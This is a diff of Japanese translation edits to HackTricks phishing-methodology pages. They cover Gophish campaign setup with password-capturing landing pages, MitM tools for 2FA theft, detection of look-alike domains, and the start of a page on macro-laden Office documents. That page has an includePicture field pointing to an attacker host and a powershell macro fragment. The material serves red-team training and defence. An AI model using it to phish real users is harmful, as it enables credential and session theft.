(1037).png>) これは、ドメイン内のTXTレコードに設定する必要がある内容です。 ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### ドメインベースのメッセージ認証、レポーティング、および遵守(DMARC)レコード +### ドメインベースのメッセージ認証、レポート、遵守(DMARC)レコード 新しいドメインに**DMARCレコードを設定する必要があります**。DMARCレコードが何かわからない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#dmarc)。 -次の内容を持つ新しいDNS TXTレコードを作成し、ホスト名を`_dmarc.`に向ける必要があります: +次の内容で、ホスト名 `_dmarc.` を指す新しいDNS TXTレコードを作成する必要があります: ```bash v=DMARC1; p=none ``` @@ -279,11 +279,11 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP ### メール構成スコアをテストする [https://www.mail-tester.com/](https://www.mail-tester.com)を使用してテストできます。\ -ページにアクセスして、指示されたアドレスにメールを送信してください: +ページにアクセスして、指定されたアドレスにメールを送信してください: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -あなたのメール構成をチェックすることもできます。`check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これにはポート **25** を**開く**必要があり、ルートとしてメールを送信すると、ファイル _/var/mail/root_ で応答を確認できます)。\ +あなたのメール構成をチェックすることもできます。`check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これにはポート **25** を**開く**必要があり、ルートとしてメールを送信すると、ファイル _/var/mail/root_ で応答を確認する必要があります)。\ すべてのテストに合格していることを確認してください: ```bash ========================================================== @@ -295,7 +295,7 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -あなたのコントロール下のGmailにメッセージを送信し、Gmailの受信トレイでそのメールのヘッダーをチェックすることもできます。`Authentication-Results`ヘッダーフィールドに`dkim=pass`が存在しているはずです。 +あなたのコントロール下のGmailに**メッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認してください。`Authentication-Results`ヘッダーフィールドに`dkim=pass`が存在しているはずです。 ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; @@ -303,7 +303,7 @@ dkim=pass header.i=@example.com; ``` ### スパムハウスブラックリストからの削除 -ページ[www.mail-tester.com](www.mail-tester.com)は、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。あなたはあなたのドメイン/IPを削除するようにリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +ページ[www.mail-tester.com](https://www.mail-tester.com)は、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。あなたはあなたのドメイン/IPを削除するようにリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### マイクロソフトブラックリストからの削除 @@ -317,19 +317,19 @@ dkim=pass header.i=@example.com; * どのアカウントからフィッシングメールを送信するかを決定します。提案: _noreply, support, servicedesk, salesforce..._ * ユーザー名とパスワードを空白のままにしても構いませんが、証明書エラーを無視するようにチェックを入れてください -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) {% hint style="info" %} -すべてが正常に動作していることをテストするために、**「テストメールを送信」**機能を使用することをお勧めします。\ +すべてが正常に動作しているかをテストするために、**「テストメールを送信」**機能を使用することをお勧めします。\ テストを行う際にブラックリストに登録されないように、**テストメールを10分メールアドレスに送信することをお勧めします**。 {% endhint %} ### メールテンプレート * テンプレートを識別するための**名前を設定** -* 次に、**件名**を記入します(奇妙なものではなく、通常のメールで読みたいと思えるもの) +* 次に、**件名**を記述します(奇妙なものではなく、通常のメールで読むことができるもの) * **トラッキング画像を追加**するようにチェックを入れていることを確認してください -* **メールテンプレート**を記入します(次の例のように変数を使用することができます) +* **メールテンプレート**を記述します(次の例のように変数を使用することができます): ```markup @@ -348,29 +348,29 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -**電子メールの信頼性を高めるために**、クライアントからの電子メールに署名を使用することが推奨されています。提案: +注意:**メールの信頼性を高めるために**、クライアントからのメールにいくつかの署名を使用することが推奨されています。提案: -- **存在しないアドレス**に電子メールを送信し、返信に署名があるかどうかを確認します。 -- info@ex.com や press@ex.com、public@ex.com などの**公開メール**を検索して、電子メールを送信して返信を待ちます。 -- **いくつかの有効な発見された**電子メールに連絡を取り、返信を待ちます +* **存在しないアドレス**にメールを送信し、返信に署名があるかどうかを確認します。 +* info@ex.com や press@ex.com、public@ex.com などの**公開メール**を検索して、メールを送信して返信を待ちます。 +* **いくつかの有効な発見された**メールに連絡を取り、返信を待ちます -![](<../../.gitbook/assets/image (393).png>) +![](<../../.gitbook/assets/image (80).png>) {% hint style="info" %} -電子メールテンプレートには、**送信するファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用して NTLM チャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください。 +メールテンプレートには、**送信するファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用して NTLM チャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください。 {% endhint %} ### ランディングページ -- **名前を記入** -- ウェブページの HTML コードを**記入**します。ウェブページを**インポート**することもできます。 -- **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**します -- **リダイレクト**を設定 +* **名前を記入** +* ウェブページの HTML コードを**記入**します。ウェブページを**インポート**することもできます。 +* **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**します +* **リダイレクト**を設定 -![](<../../.gitbook/assets/image (394).png>) +![](<../../.gitbook/assets/image (826).png>) {% hint style="info" %} -通常、ページの HTML コードを変更してローカルでテストを行い(たとえば Apache サーバーを使用して)、**結果が気に入るまで**調整する必要があります。その後、その HTML コードをボックスに記入します。\ +通常、ページの HTML コードを変更してローカルでテストを行い(たとえば Apache サーバーを使用して)、**結果に満足するまで**行います。その後、その HTML コードをボックスに記入します。\ HTML に**静的リソースを使用する必要がある場合**(たとえば、いくつかの CSS および JS ページ)、それらを _**/opt/gophish/static/endpoint**_ に保存し、_**/static/\**_ からアクセスできます。 {% endhint %} @@ -380,24 +380,24 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ### ユーザー&グループ -- 名前を設定 -- データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名、姓、メールアドレスが必要です) +* 名前を設定 +* データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名、姓、メールアドレスが必要です) -![](<../../.gitbook/assets/image (395).png>) +![](<../../.gitbook/assets/image (163).png>) ### キャンペーン -最後に、キャンペーンを作成し、名前、電子メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URL は被害者に送信されるリンクになります +最後に、キャンペーンを作成し、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URL は被害者に送信されるリンクになります -**送信プロファイルを使用して、最終的なフィッシングメールの外観を確認するためにテストメールを送信できます**: +**送信プロファイルを使用して、最終的なフィッシングメールの見た目を確認することができます**: -![](<../../.gitbook/assets/image (396).png>) +![](<../../.gitbook/assets/image (192).png>) {% hint style="info" %} -テストメールは、テストを行ってブラックリストに登録されないようにするために、**10分間のメールアドレスに送信することをお勧めします**。 +テストメールを送信して最終的なフィッシングメールの見た目を確認することをお勧めします。テストメールは、テストを行うことでブラックリストに登録されるのを避けるために、10分間のメールアドレスに送信することをお勧めします。 {% endhint %} -すべてが準備できたら、キャンペーンを開始します! +すべてが準備できたら、キャンペーンを開始してください! ## ウェブサイトのクローン @@ -409,7 +409,7 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ## バックドア付きドキュメント&ファイル -一部のフィッシングアセスメント(主に Red Team 向け)では、**バックドアを含むファイルを送信**したい場合があります(たとえば、C2 または認証をトリガーするもの)。\ +一部のフィッシングアセスメント(主に Red Team 向け)では、バックドアを含むファイルを送信したい場合があります(たとえば、C2 または認証をトリガーするもの)。\ いくつかの例については、次のページを参照してください: {% content-ref url="phishing-documents.md" %} @@ -420,40 +420,40 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ### プロキシ MitM 経由 -前述の攻撃はかなり巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2要素認証(2FA)で構成されている場合、**この情報ではだまされたユーザーをなりすますことはできません**。 +前述の攻撃はかなり巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。ただし、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2要素認証(2FA)で構成されている場合、**この情報ではだまされたユーザーをなりすますことはできません**。 -このような場合、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)、**[**muraena**](https://github.com/muraenateam/muraena) などのツールが役立ちます。このツールを使用すると、MitM のような攻撃を生成できます。基本的に、攻撃は次のように機能します: +これは、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)、**[**muraena**](https://github.com/muraenateam/muraena) などのツールが役立ちます。このツールを使用すると、MitM のような攻撃を生成できます。基本的に、攻撃は次のように機能します: -1. 実際のウェブページの**ログインフォームをなりすます**。 -2. ユーザーは**自分の資格情報**を偽のページに送信し、ツールはそれらを実際のウェブページに送信し、**資格情報が有効かどうかを確認**します。 -3. アカウントが**2FA で構成されている**場合、MitM ページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 -4. ユーザーが認証されると、(攻撃者として)あなたは、ツールが MitM を実行している間に行われるすべてのやり取りの**資格情報、2FA、クッキー、およびその他の情報をキャプチャ**します。 +1. 実際のウェブページの**ログインフォームをなりすまします**。 +2. ユーザーは**自分の資格情報**をあなたの偽のページに送信し、ツールはそれらを実際のウェブページに送信して、**資格情報が機能するかどうかを確認**します。 +3. アカウントが**2FA**で構成されている場合、MitM ページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 +4. ユーザーが認証されると、あなた(攻撃者)は、ツールが MitM を実行している間に、**資格情報、2FA、クッキー、およびすべてのインタラクションの情報**をキャプチャします。 ### VNC 経由 -被害者を**悪意のあるページ**に送る代わりに、実際のウェブページに接続されたブラウザを持つ**VNC セッションに被害者を送信**するとどうなりますか?彼が何をしているかを見ることができ、パスワード、使用された MFA、クッキーなどを盗むことができます。\ +被害者を**悪意のあるページに送信**する代わりに、実際のウェブページに接続されたブラウザを持つ**VNC セッションに被害者を送信**するとどうなりますか?彼が何をしているかを見ることができ、パスワード、使用された MFA、クッキーなどを盗むことができます。\ これは [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) で行うことができます。 ## 検出の検出 -明らかに、バレたかどうかを知る最良の方法の1つは、**ドメインをブラックリスト内で検索**することです。リストされている場合、どこかであなたのドメインが疑わしいと検出されました。\ -ドメインがどのブラックリストにも登録されていないか簡単に確認する方法の1つは、[https://malwareworld.com/](https://malwareworld.com) を使用することです。 +明らかに、バレたかどうかを知る最良の方法の1つは、**ドメインをブラックリスト内で検索**することです。リストされている場合、どこかであなたのドメインが疑わしいとして検出されたということです。\ +どのブラックリストにも登録されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com) を使用することです。 -ただし、被害者が**野生の中で疑わしいフィッシング活動を積極的に探しているかどうか**を知る他の方法については、次のページで説明されています: +ただし、被害者が**野生の中で疑わしいフィッシング活動を積極的に探しているかどうか**を知るための他の方法があります。詳細は次のページで説明されています: {% content-ref url="detecting-phising.md" %} [detecting-phising.md](detecting-phising.md) {% endcontent-ref %} -被害者のドメイン名に非常に似たドメインを**購入**したり、被害者のドメインの**キーワードを含むサブドメイン**のために**証明書を生成**したりすることができます。**被害者**がそれらと**何らかの DNS または HTTP インタラクション**を行うと、**疑わしいドメインを積極的に探している**ことがわかります。その場合は、非常に慎重に行動する必要があります。 +被害者のドメイン名に非常に似た名前のドメインを**購入**したり、被害者のドメインの**キーワードを含むサブドメイン**の証明書を**生成**したりすることができます。被害者がそれらと**DNS または HTTP インタラクション**を行うと、**疑わしいドメインを積極的に探している**ことがわかります。その場合は、非常に慎重である必要があります。 ### フィッシングの評価 -[**Phishious** ](https://github.com/Rices/Phishious) を使用して、電子メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。 +[**Phishious** ](https://github.com/Rices/Phishious)を使用して、メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。 ## 参考文献 -- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) -- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) -- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) -- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) +* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) +* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) +* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) +* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) diff --git a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 671ed6559..1fdef8ae1 100644 --- a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -7,23 +7,24 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちを**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする + +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 -## はじめに +## 導入 -フィッシング試行を検出するには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、この情報が記載されていますので、今日使用されている技術がわからない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 +フィッシング試行を検出するには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、その情報が記載されていますので、今日使用されている技術がわからない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 -この投稿は、**攻撃者がなんらかの方法で被害者のドメイン名を模倣または使用しようとする**という考えに基づいています。たとえば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のような完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見しません。 +この投稿は、**攻撃者がなんらかの方法で被害者のドメイン名を模倣したり使用することを試みる**という考えに基づいています。たとえば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のように完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見しません。 ## ドメイン名の変種 メール内で**類似したドメイン名**を使用する**フィッシング**試行を**発見**するのは**簡単**です。\ -攻撃者が使用する可能性のある**最もありそうなフィッシング名のリストを生成**し、それが**登録**されているかどうかを**チェック**するだけで十分です。 +攻撃者が使用する可能性のある**最もありそうなフィッシング名のリストを生成**し、それが**登録されているかどうか**を**チェック**するだけで十分です。 ### 疑わしいドメインの検出 @@ -34,46 +35,45 @@ HackTricksをサポートする他の方法: ### ビットフリップ -**この技術の短い説明は親ページにあります。または、オリジナルの研究を[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)で読むことができます** +**この技術の短い説明は親ページにあります。または、元の研究を** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **で読むことができます。** たとえば、ドメインmicrosoft.comの1ビットの変更は、_windnws.com._に変換できます。\ -**攻撃者は、被害者に関連するビットフリップドメインを可能な限り登録して、合法的なユーザーを自分たちのインフラストラクチャにリダイレクトする可能性があります**。 +**攻撃者は、被害者に関連するであろうビットフリップドメインをできるだけ多く登録して、合法的なユーザーを自分たちのインフラストラクチャにリダイレクトする**ことができます。 -**すべての可能なビットフリップドメイン名も監視されるべきです。** +**すべての可能なビットフリップドメイン名も監視する必要があります。** ### 基本的なチェック -潜在的な疑わしいドメイン名のリストができたら、それらを(主にHTTPおよびHTTPSのポート)**チェック**して、被害者のドメインのいずれかに似たログインフォームを使用しているかどうかを**確認**する必要があります。\ +潜在的な疑わしいドメイン名のリストができたら、それらを(主にHTTPとHTTPSのポート)**チェック**して、それが被害者のドメインのいずれかに似たログインフォームを使用しているかどうかを**確認**するべきです。\ ポート3333もチェックして、`gophish`のインスタンスが実行されているかどうかを確認できます。\ -また、発見された疑わしいドメインの**年齢を知ること**も興味深いです。若ければリスクが高まります。\ -HTTPおよび/またはHTTPSの疑わしいWebページの**スクリーンショット**を取得して、疑わしいかどうかを確認し、その場合は**アクセスして詳しく調べる**こともできます。 +また、発見された疑わしいドメインの**年齢を知ること**も興味深いです。若ければ若いほど、リスクが高くなります。\ +HTTPおよび/またはHTTPSの疑わしいWebページの**スクリーンショット**を取得して、それが疑わしいかどうかを確認し、その場合は**詳細を見るためにアクセス**することも重要です。 ### 高度なチェック さらに進む場合は、定期的に(毎日?数秒/数分しかかかりません)**これらの疑わしいドメインを監視し、さらに検索**することをお勧めします。関連するIPの**オープンポートをチェック**し、`gophish`や類似のツールのインスタンスを**検索**します(はい、攻撃者も間違えます)そして、疑わしいドメインとサブドメインのHTTPおよびHTTPSのWebページを**監視**して、被害者のWebページからログインフォームをコピーしているかどうかを確認します。\ -これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておくことをお勧めし、疑わしいWebページをスパイダリングして、各疑わしいドメイン内で見つかったログインフォームを`ssdeep`のようなものを使用して被害者のドメインの各ログインフォームと比較します。\ -疑わしいドメインのログインフォームを特定した場合は、**ダミーの資格情報を送信**して、**被害者のドメインにリダイレクトされるかどうか**を確認できます。 +これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておくことをお勧めします。疑わしいWebページをスパイダリングし、`ssdeep`のようなものを使用して、疑わしいドメイン内で見つかった各ログインフォームを被害者のドメインの各ログインフォームと比較します。\ +疑わしいドメインのログインフォームを特定した場合、**ダミーの資格情報を送信**して、**被害者のドメインにリダイレクトされるかどうかを確認**できます。 ## キーワードを使用したドメイン名 -親ページでは、被害者のドメイン名を**より大きなドメイン**(たとえばpaypal.comのpaypal-financial.com)に入れるというドメイン名の変種技術についても言及されています。 +親ページでは、被害者のドメイン名を**より大きなドメイン**(たとえばpaypal.comのpaypal-financial.com)に入れるというドメイン名の変種技術も言及されています。 ### 証明書透明性 -以前の「ブルートフォース」アプローチを取ることはできませんが、証明書透明性のおかげで、**キーワードを使用したフィッシング試行を発見**することが実際に**可能**です。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることができる**ことを意味します。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることがわかります。 +以前の「ブルートフォース」アプローチを取ることはできませんが、証明書透明性のおかげで、**そのようなフィッシング試行を発見することが可能**です。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることが可能**です。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることがわかります。 -投稿[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると述べています: +[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)の投稿では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると述べています: -![https://0xpatrik.com/content/images/2018/07/cert_listing.png](<../../.gitbook/assets/image (390).png>) +![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) -ただし、無料のWeb [**crt.sh**](https://crt.sh)を使用して「同じ」ことができます。**キーワードを検索**し、必要に応じて結果を**日付とCAでフィルタリング**できます。 +ただし、無料のWeb [**crt.sh**](https://crt.sh)を使用して「同じ」ことができます。必要に応じて、キーワードを**検索**し、結果を**日付とCAでフィルタリング**できます。 -![](<../../.gitbook/assets/image (391).png>) +![](<../../.gitbook/assets/image (519).png>) -この最後のオプションを使用すると、実際のドメインのいずれかのアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認するために、一致するアイデンティティフィールドを使用できます(疑わしいドメインが誤検知される可能性があることに注意してください)。 +この最後のオプションを使用すると、実際のドメインの一致するアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認できます(疑わしいドメインが誤検知される可能性があることに注意してください)。 **別の選択肢**は、[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)という素晴らしいプロジェクトです。CertStreamは、新しく生成された証明書のリアルタイムストリームを提供し、指定されたキーワードを(ほぼ)リアルタイムで検出するために使用できます。実際、[**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)というプロジェクトがそれを行っています。 - ### **新しいドメイン** -**最後の選択肢**は、いくつかのTLD(Top Level Domain)の**新しく登録されたドメインのリスト**を収集し、これらのドメインで**キーワードをチェック**することです([Whoxy](https://www.whoxy.com/newly-registered-domains/)がそのようなサービスを提供しています)。ただし、長いドメインは通常1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることができません。 +**最後の代替手段**は、いくつかのTLD([Whoxy](https://www.whoxy.com/newly-registered-domains/)がそのようなサービスを提供)の**新しく登録されたドメインのリストを収集**し、**これらのドメイン内のキーワードをチェックする**ことです。ただし、長いドメインは通常、1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることができません。 diff --git a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 02761926b..96de0bc49 100644 --- a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,13 +2,13 @@ -**htARTE (HackTricks AWS Red Team Expert)**を使って、**ゼロからヒーローまでAWSハッキングを学ぼう**! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** +* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** @@ -16,20 +16,20 @@ Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析されているファイルは開かれません。 -通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することができます。\ +通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することが可能です。\ たとえば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前が変更されたDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。\ 同じ内部構造とメカニズムがMicrosoft Office Suiteのすべてのソフトウェア(Excel、PowerPointなど)に適用されます。 -次のコマンドを使用して、いくつかのOfficeプログラムによって実行される拡張子を確認できます: +次のコマンドを使用して、一部のOfficeプログラムによって実行される拡張子を確認できます: ```bash assoc | findstr /i "word excel powerp" ``` ### 外部画像の読み込み Go to: _挿入 --> クイックパーツ --> フィールド_\ -_**カテゴリ**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**:_ http://\/whatever +_**カテゴリ**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**: _ http://\/whatever -![](<../../.gitbook/assets/image (316).png>) +![](<../../.gitbook/assets/image (155).png>) ### マクロバックドア @@ -74,12 +74,12 @@ proc.Create "powershell ``` #### メタデータの手動削除 -**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査** に移動し、Document Inspector が表示されます。**検査** をクリックし、**ドキュメントのプロパティと個人情報** の隣にある **すべて削除** をクリックします。 +**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査** に移動し、これによりドキュメントインスペクターが表示されます。 **検査** をクリックし、**ドキュメントのプロパティと個人情報** の隣にある **すべて削除** をクリックします。 #### ドキュメントの拡張子 -作業が完了したら、**保存形式** ドロップダウンから、**`.docx`** から **Word 97-2003 `.doc`** に形式を変更します。\ -これは、**マクロを `.docx` 内に保存できない** ためです。また、マクロが有効化された **`.docm`** 拡張子には **スティグマ** があります(たとえば、サムネイルアイコンには大きな `!` が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この **レガシーの `.doc` 拡張子が最良の妥協策** です。 +作業が完了したら、**保存形式** ドロップダウンを選択し、形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\ +これは、**マクロを `.docx` 内に保存できない** ためです。また、マクロ有効化の **`.docm`** 拡張子には **スティグマ** があります(たとえば、サムネイルアイコンには大きな `!` が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この **レガシーの `.doc` 拡張子が最良の妥協策** です。 #### 悪意のあるマクロ生成ツール @@ -89,9 +89,9 @@ proc.Create "powershell ## HTA ファイル -HTA は、**HTML と VBScript、JScript などのスクリプト言語を組み合わせた Windows プログラム** です。これは、ブラウザのセキュリティモデルの制約なしに **"完全に信頼された" アプリケーションとして実行** されるユーザーインターフェースを生成します。 +HTA は、HTML と VBScript、JScript などのスクリプト言語を **組み合わせた Windows プログラム** です。これは、ブラウザのセキュリティモデルの制約なしに **"完全に信頼された" アプリケーションとして実行** され、ユーザーインターフェースを生成します。 -HTA は **`mshta.exe`** 